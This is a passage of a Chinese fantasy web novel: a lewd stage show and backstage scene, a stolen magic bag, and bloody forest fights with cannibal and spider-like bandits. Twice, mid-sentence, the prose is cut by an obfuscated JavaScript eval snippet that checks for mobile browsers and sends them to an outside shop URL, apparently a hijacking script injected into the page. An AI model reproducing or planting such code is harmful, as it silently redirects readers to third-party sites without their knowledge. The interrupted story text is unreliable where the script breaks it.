三人一身漆黑色,衣裳贴塑身形,显出一身匀称腱子肉,银饰映着灯光,闪亮耀眼。他们定在那也不用动作就引得台下高声欢呼,忽然比划些称不上舞蹈的姿势更是惹得观众惊声尖叫,抖腰顶胯,勾手挑逗,乱抛些不知所谓的媚眼,尽是些风月场合的下作手段。 页目向心中惦记着卫官的事情,自然无心观赏。木弈轩原以为是些经典剧目表演,见此情形只能捂眼避看。炎煜朱心思单纯,凭他们如何卖弄风情,也全然不知,还要去问木弈轩见解。斯堪曼先还肯认真评看,见他们新意乏陈,俗不可耐,满脸尽是鄙夷,遂闭眼困觉去。 宫昌见他们皆无心观演,故意笑问:“不知公子可还满意?” 页目向闻言匆匆看了眼台上,敷衍道:“哦,我原先以为是话剧,原来是歌舞表演。” 宫昌追问:“那公子觉着这段歌舞如何?” 页目向细看一阵,觉着有些不堪入目,又怕拂了宫昌面子,只好说:“我也不是行家,实在不好点评,他们舞技超群,只是单就个人观感......” 见他支支吾吾在想措辞,斯堪曼替他阐述:“卖弄风情。” 哪想宫昌听了会心一笑,道:“正因如此,所以才有万人空巷。” 此时台上歌舞声突然停罢,墨本在台上不知说着什么,台下声浪更是盖过台上千倍。页目向未听清,忙问斯堪曼,原来是墨本对话,要寻几个幸运观众上去互动。页目向点头示意知晓,忽然看见宫昌露出意味不明的笑容,心中鼓声大作,抬头一看,果不其然,墨本手正好指向自己。 眼瞧着就有人来请自己上台,他左右一看,把炎煜朱推了上去。后排也有被选上台的,路过前排时似是兴奋还磕着页目向好几次。炎煜朱本在神游,稀里糊涂的上台,色欲瞧见他,骤时脸色一变,随即温婉一笑,自然搭过炎煜朱肩膀,附耳喃语,台下惊叫达到沸点。炎煜朱哪受得了这个,正要发作,被墨本注意,忙将他领到自己跟前,行动并不过分,几句嘘寒问暖,愣是把炎煜朱安稳住。 木弈轩朝页木向坐近一个位置,带着些笑意与埋怨:“向哥你也真是,怎么推煜朱上去?” “我最怕引人注目,煜朱可要大方许多。”页目向偷偷指了指斯堪曼,“总推不动他吧?” 斯堪曼冷哼,念咒般说道:“我听闻辉照中有一功法......” 页目向气道:“我从没听过!”木弈轩见状捂嘴偷笑,斯堪曼也是一副愉悦模样。 宫昌见他们玩闹,提醒道:“接下来才最精彩,莫要错过。” 页目向时刻注意着七罪宗的行动,他先入为主地以为宫昌是要对付七罪宗,如今弄出这般桥段,不免有些怀疑其真实用意。斯堪曼更不必说,双手溢出紫黑色光晕,宫昌注意到这股天目能量,笑劝道别浪费天目神通,之后尚有大用。 墨本共邀了五位观众上去,皆是义军楼或卫军楼的贵宾。墨本眉飞色舞,舌灿莲花,讨得一众欢喜,连炎煜朱都不免对他颇生好感。芃丝在台前也似有了分寸,虽仍有些暧昧不明的举动,或搔首弄姿或肌肤相触,但观众似乎也受用,投以欢呼尖叫。半战更是一改嘴舌寡毒,虽仍摆着一张臭脸,却意外的配合肯干,真是怪哉!三人凭着一些新奇的游戏,哄得台上台下观众欢笑连连,一派其乐融融的景象。 页目向都不住赞叹道:“怪不得一票难求,我还是头次见着如此别出心裁的表演。” 木弈轩也兴奋道:“不知心生狐上台又该是什么样子,台前幕后果真不一样!” 宫昌眯眼笑道:“秦淮名角可不负盛名?” 斯堪曼悻悻答道:“不过是群跳梁小丑。” 宫昌似乐意听见这话,喜道:“我还为公子与小姐特意要了私下见面的名额,待演出结束,许师傅会带你们去。” 页目向刚要拒绝,斯堪曼替他答应下来,问道:“许师傅是哪位?” 宫昌旁边的随官探出身子,领了名号,笑说:“小商许旬。”众人犹才注意起这人——他身高不足五尺,大腹便便难分正侧,面容慈祥憨态可掬。页目向只好先敷衍谢过,暗自琢磨这府尹到底在盘算什么。 炎煜朱下台后还不住感慨:“墨本先生人还怪慷慨的,比起什么芃丝心生狐正经讨喜多了。” 宫昌笑说:“他原是幕后人,如今摇身登台表演,自然更懂如何拿捏分寸。” 斯堪曼道:“他都有本事能让你愉悦,可见其不简单。宫府尹替我们要来私下见面的机会,且去看看他幕后比芃丝、心生狐又如何?” 炎煜朱沉思片刻,摇头道:“物以类聚,我还是不抱期望了。” 演出仍在继续,只是越发不像寻常节目,墨本不知从哪带出许多物件,配合芃丝半战互动游戏,展示使用。几人越发困倦,等谢幕散场时,炎煜朱已经睡着。许旬起身让众人跟去后台,木弈轩忙叫醒炎煜朱,宫昌却笑着离开,许旬替他解释:“宫府尹身份使然,并不方便去。” 通过后台看守,里边陈设并不像演出后台,既无道具堆放,亦无妆造服装,倒像是个歌舞厅,亮着些暧昧的灯光。七罪宗三人居其中等着贵宾进场,陆续进来十五六人,男女老少皆有,大抵非富即贵。芃丝显了本相,在男男女女间穿梭,柳枝似的抚摸众人,香艳浪荡。 墨本举杯笑说:“一票难得,望君都得尽兴。”他跟前的人,一边捏着他屁股,一边讨论生意往来。半战那边则更为夸张,只见他脚踩一人,锁喉一人,啐着唾沫,满嘴污言秽语,时不时扇着对方巴掌。他□□二人都似心甘情愿,十分受用,都忘情了,癫狂了,翻着白眼说些让人听不明白的荤话。 几人面如赤日灼烧,木弈轩更是背过身去要逃,斯堪曼怒视许旬,责问道:“是宫府尹还是您,谁有这嗜好?” 许旬忙道:“公子先莫怪罪,且看接下来如何。” 却说芃丝本还挂在某位恩客身下,瞧见几人,脸色一变,转身同墨本窃窃私语几句,后者朝众人看了一眼,笑着走来。墨本满面桃花,笑说:“许先生真是稀客,这几位是?” 许旬介绍道:“是天原来的客人的子侄。” 墨本略有些惊讶:“天原?听芃丝说,先前与公子们有些误会,事后我定会好生教训他。自古英雄出少年,今日一见果真不同凡响。” 许旬也跟着打圆场:“不过是少年意气,误会宜解不宜结。” 墨本认出先前上台的炎煜朱,笑道:“弟弟又见面了,可是真喜欢我们当中哪位?你跟我说,一定替你安排。” 没等炎煜朱开口,斯堪曼又抢先替他答道:“他只仰慕孤月殿下,能否安排引荐?” 舍源三人闻言一愣,许旬却欣喜非常,忙道:“正是正是!公子他还收藏了不少孤月的私内物什,如今能得一见,最好不过。”许旬编的谎话更坏名声,连斯堪曼都忍不住皱眉。 墨本佯装为难,道:“孤月能得公子垂青是他福气,只是他人如其号,好久不肯来商演,若是能证明公子诚意,兴许.....” 许旬大手一挥:“若能讨公子欢心,淮南商帮的那个位置自当让与你们。” 墨本拱手拜谢道:“许先生如此豪爽,我定当竭力引荐。” 炎煜朱再也按捺不住,怒骂道:“谁稀罕什么孤月!都是一帮坏家伙!若是......”页目向忙捂住他的嘴,木弈轩忙拉扯他的胳膊,劝道:“煜朱!”又不敢继续言下,生怕坏事。 墨本先是呆滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572385|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两秒,给自己找了个自洽的理由,笑说:“公子不必恼怒,莫要失望,孤月不似我们,可专属公子一人。” 斯堪曼做戏做全,冷哼道:“最好如此。” “这几日宗里事务繁忙,我让孤月三日后到公子府上一叙,如何?” 斯堪曼点头,叫许旬做好其他安排,转身要带着几人离开。等他们到义军楼通道前,还能听见墨本与许旬在妄议些什么青涩少年。斯堪曼蔑视一瞥,脚步愈快。 木弈轩气道:“早知真不该来!” 炎煜朱心中最是不满,埋怨道:“怎么每次都推我上去受罪?又合伙偷偷商量计策不肯告诉我!” 斯堪曼停住脚步,道:“是我擅自主张,这次委屈你了。若你们不想见孤月,那我一人赴约就是。” 炎煜朱疑道:“曼哥,你怎么非要见他?他们可不是什么好人。” 页目向早就察觉其中另有玄妙,也不再玩笑:“一起去就是,我也想知道这些人葫芦里到底卖的什么药。” 木弈轩摇头道:“怪不得说府尹不方便来,只是许旬似乎也不那么正经,若让他安排见面,不会出什么差池吧?” 斯堪曼道:“许旬自然目的不纯,官商同盟大抵也是为了利益,互取所需罢了。” 页目向忽然道:“宫府尹还没答我卫官的事情呢!事情真是越发扑朔迷离。” 炎煜朱哪有这些考量?问道:“我只当是来看戏,越说我越不懂了,你们到底瞒着我做什么计划?” 页目向哑然失笑,见着四下确无他人,解释道:“宫府尹有意让我们接近七罪宗,具体原因尚不明朗。” 木弈轩道:“府尹是页老辈的人,我们一路来听说了七罪宗不少恶行,我猜多半是想要除掉他们? 页目向点头道:“我也这么想,只是为何非要我们去?哪怕陆匪本事再高,人缘再广,他身为众吏之长,一声令下,秦淮府人才济济,还怕没有援手?” 斯堪曼道:“就怕对方后台硬实,要借页长老的官威。” “那确实是江湖高手做不来的事情。”正说着页目向忽然觉着身上空落落的,手打过腰间,神色变得紧张。三人瞧他突地搜起自己身来,问他何事,页目向急道:“乾坤袋不见了!” 木弈轩也急道:“莫不是落在座位上?快回去找找!” 几人立即往回赶,就着座位前后都搜遍了,别说找见什么失物,就连半个人影也没见到,连后台一众人物也不知上哪去了。页目向愈发着急,忍不住骂道:“该死的小偷!让我逮着绝不放过!” 木弈轩和炎煜朱又分别去看台顶上与后台查看,也是无奈摇头而归。页目向忽然想起黑松林中斯堪曼寻人的事,于是求助斯堪曼。 “这是闹市不比林中寂静,我也无法。”斯堪曼思索一阵,“你那袋子里有什么?” 他急道:“先前换的福珠和衣裳行李,还有节气令与岁寒剑。” 斯堪曼问:“你修习《辉照》,怎么用剑岁寒却像是柄冰霜之剑?” 页目向懊恼道:“我并不用它,爷爷让我随手携带说另有妙用,这可好,失物没找齐全,珍宝又丢两件!” 斯堪曼笑道:“你运气好,若节气令在袋中,我便有办法找回。”正说着他也亮出一块一模一样的令牌。页目向以为他在捉弄自己,仔细查看,才发现上边刻字纹路有所差别。 木弈轩并未见过此物,问:“这块令牌怎么能寻物?” 炎煜朱点头道:“这样的我也有一块,只不过放在家里,但主事给我时,没说过它能寻物。” “寻常用法是一日催动一次以救急,不过留给上等人家妇孺的保命手段罢了。”斯堪曼说这话时正盯着页目向,非要打趣他。 页目向虽有事求他,还是回击道:“怪不得,我们俩确实有几分相像之处。” 斯堪曼憋笑道:“不逗你了,你那块刻的什么字?” 页目向稍加思索道:“是大寒。” “那便让寒露去寻大寒。”斯堪曼将节气令悬空一掷,念动口诀,从中凝出一束霜晶飞舞而上,霜道漂浮半空,颜色虽淡却也明显,似烟一般飘向远方。众人跟上霜道而去,斯堪曼奔越于屋檐之上,其他三人抬头盯着方向,在街道巷陌拐角穿行。等几人寻到玉湖岸边,霜道已越过湖面入了对岸森林。 页目向道:“对岸不是淮阳城地界,像是到了项城......” 斯堪曼斩钉截铁道:“福珠行李不保证,节气令一定在对岸。” 木弈轩道:“偷包的贼或许不晓得乾坤袋用法,一定都在一起!” 正说着斯堪曼斗篷一展,把他们三人一并裹了进去,如鱼鹰获猎般划过湖面,踏上对岸土地。等他们从斗篷里掉出,只觉得头脑昏涨,扶着大树站了一阵才得清醒。 炎煜朱兴奋道:“曼哥,你这是什么神通?好厉害!” 斯堪曼看了眼页目向,转头对炎煜朱说道:“我曾听闻......” 页目向捂着胸口觉着恶心,打断道:“你别听闻,等回舍源让你看个齐全招式!” 斯堪曼轻笑一声率先往前去了,三人也小跑跟上。 9. 秦淮篇-项城密林 午夜林中寂寥无人,颇为阴森,从树梢缝隙仍可窥见天上群星以及远处起伏山峦,今天是朔日,月亮下了凡尘——一座月牙状山峰在其中颇为显眼。他们循着霜道在森林里不知走了多久,忽然斯堪曼说他要先行追上,化作一只夜蝠振翅而去,转眼便没了踪迹。 三人追赶不上,节气令又在斯堪曼手中,霜道也消失不见,他们商议不如原地等候。 炎煜朱小睡了一会儿,醒来仍不见斯堪曼,问道:“曼哥去了多久?该不会出了什么事?” 页目向皱眉道:“也该和我们说明情况,老是这样自作主张!” 木弈轩道:“曼哥难得不在,我有些话不知当讲不当讲......” 页目向十分了解她:“我明白你意思。当时你们不在,黑松林的匪徒供说七罪宗的人追杀他们,我降服他们时,斯堪曼就在一旁看着,并未出力,可他们更害怕斯堪曼,称呼他为太岁爷爷。再来,他单就七罪宗这个名字便恨得咬牙切齿,其中秘辛却从来未和我们解释。” 木弈轩猜测:“若他也是南陵众保家之一,便说得通了!” 页目向摇头道:“且不说他诸罗人的长相,但观其举止也确实是个大家公子,或许就是有什么难言之隐罢。” 炎煜朱皱眉嘟囔:“你们老爱瞎猜!我们和曼哥本就是偶然遇见,一路也算合拍,他还帮衬我们不少,为何非要在乎他什么来历?” 木弈轩道:“只是好奇,所以想多了解一些,多些心思总归是好的。” 页目向道:“他今天也确实反常,只希望赶紧回来的好。” 三人等了许久仍不见他归来,正要出发去寻时候,森林深处突然传来一声异响,那动静似雷霆震碎了山,霹雳击穿了地,轰隆隆的回声波荡在林梢之间,鸟兽四散,仓皇逃离。炎煜朱被惊得踉跄跌倒,木弈轩怔在原地半晌未能回神,页目向只觉心头猛颤,本能地循声望去——声响竟源自那座月牙形的山峰。 却说这日午后,舍源镇老泸茶馆依旧热闹非常,如今暑气渐消,茶客们的心绪也仿佛随之平和了许多,也不盯着先前外乡人的事不放,转而增了些日常琐碎话题。页显难得有空,踱进茶馆时,泸老板仍躺在柜台后边,一时没瞧见他。还是他女婿喊了声“页二哥”,老泸这才回过神,笑着起身相迎。 “页二哥今日怎么有空闲来啊?” 页显实诚答道:“今日轮值,得空歇息,家母病中想吃些甜食,所以来称二斤绿豆糕回去。” 泸老板听说,忙吩咐女婿备好送上。提起页家祖母,不免又联想到旧事,他叹口气道:“唉,说起来……柳大哥也是走火入魔,实在是自作孽,不可活啊。”四下茶客们也纷纷跟着唏嘘,说些零碎闲话。 页显早已释怀,何况柳信已锒铛入狱,便也不接这话茬。恰巧女婿将糕点送上,他接了纸包道了谢,转身便要告辞。 不料刚走到门口,忽闻一声清脆的呼唤:“二哥?你今日不当值吗?母亲近来身体怎么样?” 页显一听便知是小妹页昱的声音,心下却觉奇怪:她怎会此时出现在镇上?转头看见果真是她,不由关切地问道:“小昱?你怎么回来了?可是又与妹夫起了争执?” 镇上无人不晓页昱脾气刚烈如火,稍不合她心意,必要遭她泼上一泼。她虽远嫁外省,却三天两头便回娘家住上几日,直到心头那股郁气消尽了才肯回去。大伙儿见页显这个做哥哥的都直言不讳,虽心里想笑,却也不敢当着页昱的面露出来,只得一个个噤若寒蝉,干瞧着这两兄妹。 页昱闻言,柳眉倒竖,鼻尖一皱,当即驳道:“谁是为了他?是父亲写信与我,说了家中事情,这趟回来专程是为照顾母亲的。且不和你多言,先回屋去。” 众人目送他二人一前一后出了茶馆,片刻寂静之后,又开始议论页府轶事了。 回家途中,页显直言道:“母亲但凡见你便觉着头疼,倒不如留下目向,或者让香茗代你回来。” 页昱岂肯吃亏,要气她二哥,反击道:“母亲从来都只觉着向儿一人心细体贴,我与香茗没差。倒是眷芸上学好些年怎么还不毕业?留你一个鳏夫在家,怪造孽的。” 页显并不爱争口舌,只默然前行。页昱嫌他沉闷,又道:“你趁着如今还算稳妥,快为我寻个二嫂,眷芸如今也大了,姑娘家的事,总不好事事都与你说。” 页显依旧沉默不语。页昱只当他故意不应,正要自作主张当这媒人,页祖母却站在府门口呵斥道:“我说我身体好着,非要把你这祖宗请回来!” 页昱见着母亲,立刻撇下二哥,欢欢喜喜地迎上去挽住母亲的胳膊:“我以为母亲离不得向儿,如今却放心他独自出去闯荡?” 页祖母叹道:“男儿大了总该出去见见世面。” “母亲进屋说。”页昱扶着她迈过门槛,话锋一转,“陆铭与我讲海上战事吃紧,火地兽潮也反扑的厉害,如今各部心思都在边防上,内里安危可不似前些年那般太平,如今他突然走了,莫说您担心,就是我这颗心也始终悬着。” 页祖母皱眉道:“话虽如此,但你父亲考虑一向周全,况且此次有煜朱、弈轩同行,应当无碍。” 页祖母听出她话中有话:“你可是有什么主意?” “欧阳家的羽小子和向儿是学堂同窗,他距太学招生的年纪尚有一载,所修功法又与《辉照》相仿,天目法力远超同龄人。不如……与他家中商量商量?” 页祖母却摇头回绝:“人家的孩子同样金贵。他们三人结伴同行便罢了,若特意让小羽去找寻向儿,途中遇上什么不测,我们如何向欧阳家交待?罢了,且信向儿这一回吧。” 页昱见母亲态度坚决,便不再多劝。此时,页显默默将早已盛好的绿豆糕端了上来,轻声道:“向儿吉人自有天相。” 花开两朵,各表一枝。却说林中那一声突如其来巨响,震得飞鸟惊惶,走兽匿迹,也引得页目向三人心中齐齐一凛。 “好大的动静!”炎煜朱霍然起身,面露兴奋,“这声势,准是曼哥弄出来的!咱们还等什么,快些过去!” 木弈轩却一把按住他:“且慢!向哥?我们去是不去?” 页目向凝神望向声响来处,默然片刻,终是开口:“我心中始终有些不安。无论如何,还是该去亲眼瞧个究竟。” 木弈轩眉头紧锁:“万一不是曼哥,反倒是......” 页目向答:“我们隐匿动静,只在旁窥看,若有异样悄然溜走便是。” 炎煜朱闻言朗声一笑,浑不在意:“先前在船上失利,不过是地方狭窄,施展不开,芃丝又会些诡异的步法唬住了我们。物以类聚,见了两个半吊子,其他五个必然好不到哪去。” 木弈轩急道:“天下匪徒又不只他七罪宗一家,小心些总归是好的。再说七罪宗不过是个名头,匪类向来是分分合合,真遇见保不齐是个怎样场面。况且,偷我们包袱的、盗走向哥家中之物的,是否同一伙人?页老辈指名的陆匪与我们遇上的七罪宗又是不是一回事?这些尚且未能分明,怎么能贸然犯险!” 页目向拾起一根枯枝,在泥地上划出几道深痕,眉头紧锁:“我也始终想不明白。爷爷既特意提及秦淮陆匪,分明是将我引向此地。若只为试炼,局做得未免太真——那‘七罪宗’的声势、做派,却不像虚张声势。” 他顿了顿,树枝重点一处:“我来理理。第一,爷爷既将我引至秦淮,必有深意。我们抵达后,府尹立即来拜访,并知晓我们来历,他身为吏部要员,竟亲自带我们去见那七罪宗——”他抬起头,目光扫过两位同伴,“爷爷与府尹之间,必定早有默契,他们的目标,恐怕正是要合力铲除七罪宗。” 木弈轩与炎煜朱对视一眼,皆从对方眼中看到了恍然,相继重重点头。 页目向手中树枝在地上重重一顿:“第二,爷爷当初说盗走家中之物的可能是陆匪。如今,我们已拿回失物之一,并且是从另一伙匪徒手中夺得——” 木弈轩先是困惑,随即眼中闪过明悟的光:“若不是页爷爷安排的,那他为何……我懂了!” 炎煜朱猛地一拍手,声音豁然开朗:“提陆匪只是个由头!页爷爷根本不在意丢了什么东西,他真正的目的,是把我们引来秦淮,助府尹一举剿灭这七罪宗!” 页目向手中的树枝在地面上划出清晰的轨迹,声音沉着:“我们前后遭遇的两伙匪徒,都与陆匪、七罪宗牵扯甚深,由此可见,爷爷指认陆匪便是在指认七罪宗!” 炎煜朱听得心潮澎湃,忍不住催促:“向哥说得对!快接着划!” 页目向颔首,树枝继续在泥地上勾勒因果:“这第三,我们为躲避烟婆婆派人追赶,特意绕行黑松林小道,却恰恰在此遭遇斯堪曼。若非深知内情,绝无可能提前设伏。因此,斯堪曼只有两种可能:要么是爷爷事先布下的引线之人,要么当真只是一场巧合。” 他稍作停顿:“若确是爷爷有意安排,那么斯堪曼了解页家旧事便不足为奇,而他既想接触七罪宗,又对其深恶痛绝——这般矛盾的态度,也就说得通了。” 木弈轩听罢却仍有疑虑:“若页老辈真要派人暗中护持,明说便是,何须让我们这般猜来猜去?” 页目向轻叹一声:“爷爷的试炼向来如此,明局暗局从不点透,说是唯有如此,方能锤炼心性。” 炎煜朱闻言咧嘴一笑:“难怪养出了向哥这般多疑的性子!” 页目向抬手轻拍了他一下,加快语速:“剧场中人物混杂,窃包者未必是七罪宗,但乾坤袋一定就在这片林中。斯堪曼迟迟不归,定是碰上了什么麻烦!方才那声巨响——我们得立刻赶过去!”话音未落,他已率先起身疾行,木、炎二人也立刻紧随其后。 不远处又传来一声轰响。三人立刻收住脚步,交换一个眼神,迅速伏低身形,借着灌木与树影的遮蔽,悄无声息地向前逼近。他们潜至林缘,将身体紧贴在地面与草丛之间,屏息向内望去,果然有人在此决斗,只是并无斯堪曼的身影。 只见左侧仅有两人。一人身材高大,肤色雪白,垂发遮眼,仅露出挺拔鼻梁与薄唇。页目向早将七罪宗画卡形象烂熟于心,此人正是耳不闻。另一人手握蟹钳般兵器,背驮一具机关箱囊,一根带刺长管箱囊上方伸出,犹如蝎尾。他周身披着厚甲,分辨不出五官,身形较同伴显得十分小巧,宛如一只人立毒蝎。 右边是黑压压的一大群人,约莫近百之数,簇拥着一台银光短炮方才巨响显然出自此物。双方激战已久,“蝎子”甲胄已渗血迹,人群中也多有挂彩,唯独那耳不闻依旧衣衫洁净,漠然立于战局之中,仿佛只是个旁观者。 蝎子怒道:“你个懒汉也不说帮我分毫,蛆虫都晓得蠕动,你却似尊木雕!我家大人与你大哥可立有盟约哩!” 耳不闻却当真充耳不闻,依旧静立原地,宛如一尊活雕像。 蝎子见状愈发急躁,破口大骂:“老子先把你做了,省得碍眼,真是火大!”话音未落,他身形猛地一摆,背后那根带刺的长管如毒蝎摆尾,狠狠刺向身旁的耳不闻。耳不闻也不避闪,任由他连戳了三五来下。待蝎子停手,定睛一看——耳不闻全身竟无半点伤痕,连一个针眼也找不到。 对面的人群岂会闲着,趁这间隙早已填装完毕,又是一炮轰来!蝎子见状,急忙纵身向侧旁跃开,唯有耳不闻依旧原地静立,不闪不避。轰隆巨响过后,蝎子还受了些擦伤,耳不闻竟连衣袍都未见半分褶皱,洁净如初。 “晦气!你们两边统统都是王八蛋!老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572386|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子我不奉陪了!自个儿斗鸡去罢!”蝎子气得厉声怒骂,身形一扭,迅捷地攀上高耸的树冠,几个起落间便消失在密林深处。 右边人群见状士气大振,却也有人犯起嘀咕:“那怪人连炮轰都毫发无伤,该如何是好?” 有人急道:“这炮填装太慢,反倒给了他时间念咒!他既然不动,他既然不动,咱们一拥而上,乱刀砍将过去,看他如何对付?” 又有人犹豫:“可若离了这炮……怕是不稳妥吧?” 先前那人嚷道:“蝎子都跑了,就剩这一个不会动的木偶,还怕他作甚!”话音未落,已有十余人提刀涌上,照着耳不闻劈头盖脸一阵乱砍,却只听“锵锵”作响,不曾伤他分毫,骇然惊呼:“怪事!真是怪事!” 其余人本还观望,见这情形也按捺不住,纷纷围拢上来,嚷着非要亲手试他一试。 就在此时,一声狞笑自林间炸响:“来得正好!”匪徒们闻声胆裂,忙向火炮旁退去。只见一道身影疾跃而上,稳稳落在炮身之上,顺手擒住一人,张嘴便啃!旁边炮手早已吓得魂飞魄散,下意识猛拉炮绳——这一炮并未射向远处,反倒直轰进溃逃的人群之中,顿时炸倒三四十人,残肢断臂四散横飞。 幸存者彻底崩溃,四散奔逃:有人脚下打滑摔倒在地,转眼就被后来者踩踏而过;有人生怕落后,竟一把将前面的人攘向后方;还有人匍匐倒地,拼命向草丛深处蠕动…… 那人毫不在意,就近抓起一人的胳膊,奋力一扯,一边啃嚼一边吐出,皱着眉头怪笑道:“好吃!好吃!” 页目向看得心惊肉跳,此人对照画卡形象,正是口不掩!如此血腥场面,木弈轩已不忍地背过身去,炎煜朱也是胃中翻涌,强压不适。忽然见场上只剩得耳不闻一人,再一眨眼,那口不掩竟已悄无声息地逼至跟前,咧开巨口便朝三人咬来! 页目向只觉三魂吓丢了七魄,疾速点出数记光指,口不掩吃痛,应势滚倒在地,嘴上仍嘶吼不休:“老子要把你们宰了,片成肉片涮着吃!” 见一旁的耳不闻仍无行动,三人正想趁机把口不掩擒住,不料口不掩猛地暴起,再度扑来!炎煜朱反应极快,双臂腾起炽焰,一记重拳正击他腹下,口不掩由此瘫软倒地,终于没了动作。 几人刚松一口气,却见那始终静立的耳不闻突然动了!他趁势一把抓起瘫软的口不掩,反手掷出一枚烟丸,霎时间浓烟滚滚,遮天蔽日。 炎煜朱急忙挥臂拨开烟尘,呛咳着喊道:“小心他们趁机偷袭!” 木弈轩眼尖,瞥见林中远遁的身影,急呼:“他们要跑!快追!” 然而耳不闻虽携着一人,在林间穿梭却如鬼魅般迅捷蛇行,几个起落便远远将三人甩开。追之不及,三人只得作罢,沿原路返回。 快到方才的惨烈战场时,页目向才猛地回神,肃然道:“不对!我们最初听到的那声巨响,分明是从月牙山方向传来的,其声势远比刚才那火炮恐怖得多!斯堪曼恐怕仍在险境中,我们必须立刻去月牙山!” “向…向哥!你看前面!”木弈轩声音发紧,手指微颤地指向不远处。 顺着她所指望去,只见一个身形诡异的男子正匍匐于地,贪婪地舔食着地上的残肢碎屑,其状犹如巨蚕吞天。方才满地的尸身,竟已被他吞食了大半!三人胃里顿时翻江倒海,阵阵作呕。 那人听到动静,猛地四肢着地飞快爬来,眨眼便到面前。站起身时,竟比三人高出半个身子!他肩胸极宽极厚,下身却瘦弱不堪,仿佛下一秒就要被上身重量压垮。一双铜铃般的眼睛圆瞪着,獠牙外露,满脸血污,露出一个诡异可怖的笑容。 他嘻笑着问:“你们是外来者,还是幸存者?”不等回答,又自顾自地说:“不过都没差,反正都活不成了!” 页目向急忙挥出光刃,那怪人抬手便挡,竟毫发无伤。木弈轩摇动百草铃,召来藤蔓缠向怪人。页目向趁势连点他五六指,怪人吃痛哀嚎,却依旧行动无碍,令页目向心头一惊。炎煜朱双手交握呈翼型,对着怪人补了几弹火流星,不料此举却将那怪人彻底激怒! 却见怪人一口咬住藤蔓,竟将其尽数吸入腹中,随即左右开弓,各挥一拳便将页目向与炎煜朱打翻在地。炎煜朱挣扎起身,急喝道:“轩姐闪开!”他腾空跃起,双手结三角印,霎时间万千火星自其中喷涌而出,直扑怪人。 怪人张口吐出一张巨网盘结身前,挡住火势,又吐出一根细丝,拴住炎煜朱脚肚,猛将其拽落——这分明是只人形蜘蛛! 页目向连挥两道光斩斩断丝线,飞身夺回炎煜朱。木弈轩摇铃唤出无数树根,包裹住三人,瞬间潜入地下,急速逃离。 蜘蛛见状,立刻匍匐于地,细细感知着地面的震动,旋即循着踪迹快速爬行追去。 木弈轩驭使树根在地下穿行好几里,实在法力修为有限,不得已才探出地面。“你们伤势怎么样?” 页目向急忙道:“我无妨,快看看煜朱!他脚肚上生了好大一片紫斑!” 木弈轩俯身查看,急道:“蛛丝有毒!得快驱毒!否则煜朱这腿只能舍了!” 炎煜朱早已昏死过去。木弈轩撕下纱裙一角,紧紧扎住炎煜朱腿脚,接着取下簪子,利落地划开伤处挤出毒血,将随身药粉尽数洒上,而后双掌覆于紫斑之上,掌心泛起莹莹绿光,全力逼毒。 “逃得倒快!”蜘蛛怪人已追至赶到,页目向只能硬着头皮迎上,对木弈轩喊道:“你先医好煜朱!” 蜘蛛连吐数张黏网,将页目向层层缠裹。页目向奋力挣扎却无济于事。木弈轩心急如焚,却脱身不得。眼看蜘蛛抓起页目向就要送入口中,却见那蜘蛛身形猛地一僵,轰然倒地。 尘埃落定处,一人翩翩而立——不是斯堪曼,又会是谁? 10. 秦淮篇-东园仙境 二人见到斯堪曼,真如久旱逢甘霖。页目向连唤数声,才敢确认并非幻觉。斯堪曼见他们狼狈模样,不由调侃:“我一直在打喷嚏,你们一定没少议论我。我曾听闻......” 他话未落完,页目向突然脸色大变:“当心身后!” 斯堪曼正要回头,蜘蛛已喷出一道蛛丝缠住他的手腕。蜘蛛怪人衔着丝线偏头猛拽,竟把他手掌生生卸了下来。页目向与木弈轩感同身受,不由侧目嘶声。可那断掌并未落地,翩翩化作三四只夜蝠,扑棱棱飞回手腕处,斯堪曼随意抬手,手掌已恢复如初。 蜘蛛怪人见状心中一惊,怯问:“你会‘形散’?” 斯堪曼跃上枝头,俯视观之,不作回答。 怪人喃喃道:“怪不得......怪不得,先前的节气令......这么说来,你也伤得不轻吧?” 页目向抬头看向斯堪曼,他额角脖颈等处果然有伤,心中明了先前那声震彻山林的异响来源。 斯堪曼冷哼一声,目光扫过页目向:“以后看好自己的东西,上等人家的妇孺!” 页目向自知理亏,不敢搭话。 蜘蛛怪人沙哑低笑:“会形散算不得什么,你如今受了伤,必不是我对手,何况还拖着三个累赘。” “多说无益。”斯堪曼骤然化作百二十只夜蝠,黑压压朝怪人袭去。蜘蛛怪人四肢伏地,左右吐出丝线,在林木间飞速织成一张大网,纵身一跃盘踞其上。他在网上游走,迅捷如风,不断向蝠群喷射蛛丝,一时间斯堪曼近他不得。怪人不断扩大着蛛网覆盖领域,盯准时机,径直朝页目向三人攻去。 斯堪曼只得回身拦他。怪人猛地扭身,喷出一张黏稠巨网网,当头盖住蝠群。他狞笑着,叼住网绳大力吞吸,蝠群赶在收网前倏地散作数股更小的黑雾,逸网而出。见困不住斯堪曼,怪人复又转向页目向,疾爬逼近。 页目向刚以光指割断缠身蛛丝脱身,见势急忙借树丛闪躲,蛛网连连落空。见页目向在逃,他又转去袭击木弈轩——炎煜朱疗伤正值要紧时候,木弈轩哪敢避让?页目向惊怒之下连挥光斩阻他去路。斯堪曼亦聚化真身,凌空一记重踢,将怪人狠狠踹开。 斯堪曼挡在三人身前,沉声令道:“你们带着炎煜朱先走。” 